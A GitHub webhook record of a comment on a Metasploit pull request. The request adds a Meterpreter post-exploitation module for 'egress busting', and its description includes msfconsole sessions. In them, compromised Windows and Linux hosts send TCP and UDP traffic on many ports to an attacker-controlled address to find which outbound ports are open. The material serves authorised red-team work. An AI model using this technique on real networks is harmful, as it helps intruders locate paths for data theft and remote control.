{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6296","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6296/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6296/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6296/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6296","id":119387273,"number":6296,"title":"POST module to generate TCP & UDP egress traffic","user":{"login":"stufus","id":12296344,"avatar_url":"https://avatars.githubusercontent.com/u/12296344?v=3","gravatar_id":"","url":"https://api.github.com/users/stufus","html_url":"https://github.com/stufus","followers_url":"https://api.github.com/users/stufus/followers","following_url":"https://api.github.com/users/stufus/following{/other_user}","gists_url":"https://api.github.com/users/stufus/gists{/gist_id}","starred_url":"https://api.github.com/users/stufus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stufus/subscriptions","organizations_url":"https://api.github.com/users/stufus/orgs","repos_url":"https://api.github.com/users/stufus/repos","events_url":"https://api.github.com/users/stufus/events{/privacy}","received_events_url":"https://api.github.com/users/stufus/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":5,"created_at":"2015-11-29T20:48:28Z","updated_at":"2015-11-30T21:56:08Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6296","html_url":"https://github.com/rapid7/metasploit-framework/pull/6296","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6296.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6296.patch"},"body":"# Overview\r\n\r\nThis PR is for a meterpreter post exploitation module that will generate TCP and UDP packets on a range of ports and send them to a provided IP address. The primary purpose of this is for 'egress busting' and provides a rapid method of generating legitimate TCP or UDP traffic on each port. This is useful for red-teaming type exercises in which you have meterpreter running on a host but wish to determine additional ports over which egress traffic is permitted. \r\n\r\nIt can generate the packets in two different ways; it can call the windows sockets API (using railgun for windows clients) or it can create the packets using rex. The latter requires a route to be added (so that the packets are generated by the target session; this is automatically handled within the module.\r\n\r\nNATIVE mode uses Rex sockets to generate traffic.\r\nWINAPI mode uses winsock APIs to generate traffic.\r\n\r\nAs it currently stands, the user will need to set up a listener/tcpdump/wireshark to determine the ports that are open. My [egresscheck-framework](https://github.com/stufus/egresscheck-framework ) code can help with that, but any listener would be fine.\r\n\r\n# Example - Windows Meterpreter\r\n\r\nScenario is:\r\n\r\n* The victim host is 192.0.2.104\r\n* The attacker is 192.0.2.1\r\n* The attacker wishes to generate TCP packets to 192.0.2.1 (with meterpreter on 192.0.2.104) on ports 22,23,53,80,88,443 and 445 to see if any of the packets reach 192.0.2.1. Note that the attacker has control of 192.0.2.1.\r\n* The compromised machine is a Windows 8.1 machine\r\n```\r\nmsf> sessions -l\r\n\r\nActive sessions\r\n===============\r\n\r\n  Id  Type                   Information             Connection\r\n  --  ----                   -----------             ----------\r\n  2   meterpreter x86/win32  TESTER\\Stuart @ TESTER  192.0.2.1:9877 -> 192.0.2.104:43595 (192.0.2.104)\r\n  \r\nmsf> set METHOD NATIVE\r\nMETHOD => NATIVE\r\nmsf> set PORTS 22,23,53,80,88,443,445\r\nPORTS => 22,23,53,80,88,443,445\r\nmsf> set PROTOCOL TCP\r\nPROTOCOL => TCP\r\nmsf> set SESSION 2\r\nSESSION => 2\r\nmsf> set TARGET 192.0.2.1\r\nTARGET => 192.0.2.1\r\nmsf> set THREADS 3\r\nTHREADS => 3\r\nmsf> show options\r\n\r\nModule options (post/multi/manage/multiport_egress_traffic):\r\n\r\n   Name      Current Setting         Required  Description\r\n   ----      ---------------         --------  -----------\r\n   METHOD    NATIVE                  yes       The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only). (Accepted: NATIVE, WINAPI)\r\n   PORTS     22,23,53,80,88,443,445  yes       Ports to test.\r\n   PROTOCOL  TCP                     yes       Protocol to use. (Accepted: TCP, UDP)\r\n   SESSION   2                       yes       The session to run this module on.\r\n   TARGET    192.0.2.1               yes       Destination IP address.\r\n   THREADS   3                       yes       Number of simultaneous threads/connections to try.\r\n\r\nmsf> run\r\n[*] Adding route to direct egress traffic to 192.0.2.1\r\n[*] Generating TCP traffic to 192.0.2.1...\r\n[*] Removed route needed to direct egress traffic to 192.0.2.1\r\n[*] TCP traffic generation to 192.0.2.1 completed.\r\n[*] Post module execution completed\r\nmsf> set VERBOSE TRUE\r\nVERBOSE => TRUE\r\nmsf> run\r\n[*] Number of threads: 3.\r\n[*] Adding route to direct egress traffic to 192.0.2.1\r\n[*] Generating TCP traffic to 192.0.2.1...\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/23\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/53\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/22\r\n[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/53\r\n[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/23\r\n[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/22\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/88\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/80\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/443\r\n[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/88\r\n[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/443\r\n[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/80\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/445\r\n[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/445\r\n[*] Removed route needed to direct egress traffic to 192.0.2.1\r\n[*] TCP traffic generation to 192.0.2.1 completed.\r\n[*] Post module execution completed\r\n```\r\n\r\nThis also worked with METHOD set to WINAPI:\r\n\r\n```\r\nmsf> set METHOD WINAPI\r\nMETHOD => WINAPI\r\nmsf> run\r\n\r\n[*] Number of threads: 3.\r\n[*] Generating TCP traffic to 192.0.2.1...\r\n[*] [2:WINAPI] Set up socket for 192.0.2.1 port TCP/53 (Handle: 14908)\r\n[*] [1:WINAPI] Set up socket for 192.0.2.1 port TCP/23 (Handle: 14856)\r\n[*] [2:WINAPI] Connecting to 192.0.2.1:TCP/53\r\n[*] [1:WINAPI] Connecting to 192.0.2.1:TCP/23\r\n[*] [0:WINAPI] Set up socket for 192.0.2.1 port TCP/22 (Handle: 14300)\r\n[*] [0:WINAPI] Connecting to 192.0.2.1:TCP/22\r\n[*] [2:WINAPI] There was an error sending a connect packet for TCP socket (port 53) Error: 10061\r\n[*] [0:WINAPI] There was an error sending a connect packet for TCP socket (port 22) Error: 10061\r\n[*] [1:WINAPI] There was an error sending a connect packet for TCP socket (port 23) Error: 10061\r\n[*] [1:WINAPI] Set up socket for 192.0.2.1 port TCP/88 (Handle: 13868)\r\n[*] [0:WINAPI] Set up socket for 192.0.2.1 port TCP/80 (Handle: 14300)\r\n[*] [1:WINAPI] Connecting to 192.0.2.1:TCP/88\r\n[*] [2:WINAPI] Set up socket for 192.0.2.1 port TCP/443 (Handle: 14908)\r\n[*] [0:WINAPI] Connecting to 192.0.2.1:TCP/80\r\n[*] [2:WINAPI] Connecting to 192.0.2.1:TCP/443\r\n[*] [1:WINAPI] There was an error sending a connect packet for TCP socket (port 88) Error: 10061\r\n[*] [2:WINAPI] There was an error sending a connect packet for TCP socket (port 443) Error: 10061\r\n[*] [0:WINAPI] There was an error sending a connect packet for TCP socket (port 80) Error: 10061\r\n[*] [0:WINAPI] Set up socket for 192.0.2.1 port TCP/445 (Handle: 13868)\r\n[*] [0:WINAPI] Connecting to 192.0.2.1:TCP/445\r\n[*] [0:WINAPI] There was an error sending a connect packet for TCP socket (port 445) Error: 10061\r\n[*] TCP traffic generation to 192.0.2.1 completed.\r\n[*] Post module execution completed\r\n```\r\n\r\nUDP also works correctly:\r\n\r\n```\r\nmsf> set PROTOCOL UDP\r\nPROTOCOL => UDP\r\nmsf> set METHOD NATIVE\r\nMETHOD => NATIVE\r\nmsf> show options\r\n\r\nModule options (post/multi/manage/multiport_egress_traffic):\r\n\r\n   Name      Current Setting         Required  Description\r\n   ----      ---------------         --------  -----------\r\n   METHOD    NATIVE                  yes       The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only). (Accepted: NATIVE, WINAPI)\r\n   PORTS     22,23,53,80,88,443,445  yes       Ports to test.\r\n   PROTOCOL  UDP                     yes       Protocol to use. (Accepted: TCP, UDP)\r\n   SESSION   2                       yes       The session to run this module on.\r\n   TARGET    192.0.2.1               yes       Destination IP address.\r\n   THREADS   3                       yes       Number of simultaneous threads/connections to try.\r\n\r\nmsf> run\r\n\r\n[*] Number of threads: 3.\r\n[*] Adding route to direct egress traffic to 192.0.2.1\r\n[*] Generating UDP traffic to 192.0.2.1...\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/23\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/53\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/22\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/443\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/80\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/88\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/445\r\n[*] Removed route needed to direct egress traffic to 192.0.2.1\r\n[*] UDP traffic generation to 192.0.2.1 completed.\r\n[*] Post module execution completed\r\n```\r\n\r\nNote that the errors showing in verbose mode are normal; this is because there is nothing actually listening on any of those ports, meaning that the calls will fail.\r\n\r\nRunning tcpdump on 192.0.2.1 showed all the connection attempts as normal.\r\n\r\n# Example - Linux Meterpreter\r\n\r\nScenario is:\r\n\r\n* The victim host is 192.0.2.103\r\n* The attacker is 192.0.2.1\r\n* The attacker wishes to generate TCP packets to 192.0.2.1 (with linux meterpreter on 192.0.2.103) on ports 22,23,53,80,88,443 and 445 to see if any of the packets reach 192.0.2.1. Note that the attacker has control of 192.0.2.1.\r\n* The compromised machine is a Linux machine (running Kali)\r\n\r\n```\r\nmsf> sessions -l\r\n\r\nActive sessions\r\n===============\r\n\r\n  Id  Type                       Information             Connection\r\n  --  ----                       -----------             ----------\r\n  4   meterpreter x86/linux      uid=1000, gid=1001, euid=1000, egid=1001, suid=1000, sgid=1001 @ kali  192.0.2.1:4322 -> 192.0.2.103:37489 (192.0.2.103)\r\n  \r\nmsf> run\r\n[*] Number of threads: 3.\r\n[*] Adding route to direct egress traffic to 192.0.2.1\r\n[*] Generating TCP traffic to 192.0.2.1...\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/23\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/53\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/22\r\n[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/23\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/88\r\n[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/53\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/443\r\n[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/22\r\n[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/88\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/80\r\n[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/443\r\n[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/80\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/445\r\n[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/445\r\n[*] Removed route needed to direct egress traffic to 192.0.2.1\r\n[*] TCP traffic generation to 192.0.2.1 completed.\r\n[*] Post module execution completed\r\nmsf> set PROTOCOL UDP\r\nPROTOCOL => UDP\r\nmsf> run\r\n[*] Number of threads: 3.\r\n[*] Adding route to direct egress traffic to 192.0.2.1\r\n[*] Generating UDP traffic to 192.0.2.1...\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/23\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/53\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/22\r\n[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/443\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/80\r\n[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/88\r\n[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/445\r\n[*] Removed route needed to direct egress traffic to 192.0.2.1\r\n[*] UDP traffic generation to 192.0.2.1 completed.\r\n[*] Post module execution completed\r\nmsf> show options\r\n\r\nModule options (post/multi/manage/multiport_egress_traffic):\r\n\r\n   Name      Current Setting         Required  Description\r\n   ----      ---------------         --------  -----------\r\n   METHOD    NATIVE                  yes       The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only). (Accepted: NATIVE, WINAPI)\r\n   PORTS     22,23,53,80,88,443,445  yes       Ports to test.\r\n   PROTOCOL  UDP                     yes       Protocol to use. (Accepted: TCP, UDP)\r\n   SESSION   4                       yes       The session to run this module on.\r\n   TARGET    192.0.2.1               yes       Destination IP address.\r\n   THREADS   3                       yes       Number of simultaneous threads/connections to try.\r\n\r\nmsf>\r\n```\r\n\r\n![msfegress_tcpdump_udp](https://cloud.githubusercontent.com/assets/12296344/11459958/a7862f22-96da-11e5-86a2-31a4c0153944.png)\r\n\r\n# Future Work\r\n\r\nDuring my testing, this did not appear to work on python meterpreter, so will need to look into that in a bit more detail. "},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/160773956","html_url":"https://github.com/rapid7/metasploit-framework/pull/6296#issuecomment-160773956","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6296","id":160773956,"user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"created_at":"2015-11-30T21:56:08Z","updated_at":"2015-11-30T21:56:08Z","body":"@stufus: Nah, it was closed. Good to start fresh."}}